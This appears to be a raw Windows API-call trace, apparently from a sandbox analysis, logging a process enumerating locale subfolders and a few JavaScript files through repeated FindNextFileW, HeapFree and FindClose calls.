	[0165.152] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0165.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.152] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0165.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.260] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0165.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.260] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0165.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.260] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0165.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.261] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0165.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.261] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0165.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.261] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0165.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.262] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0165.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.262] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0165.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.262] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0165.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.263] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0165.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.263] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0165.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.263] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0165.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.267] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0165.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.267] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0165.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.268] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0165.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.268] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0165.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.268] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0165.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.268] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0165.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.268] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0165.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.269] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0165.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.269] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0165.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.269] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0165.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.269] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0165.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.270] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0165.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.270] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0165.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.270] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0165.270] FindClose (in: hFindFile=0x394b8f8 | out: hFindFile=0x394b8f8) returned 1
	[0165.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0165.270] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0165.270] FindClose (in: hFindFile=0x394b9f8 | out: hFindFile=0x394b9f8) returned 1
	[0165.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0165.271] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0165.271] FindClose (in: hFindFile=0x394b638 | out: hFindFile=0x394b638) returned 1
	[0165.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0165.273] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1
	[0166.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.292] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0166.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.292] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0166.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.292] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0166.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.292] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0166.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.293] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0166.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.293] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0166.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
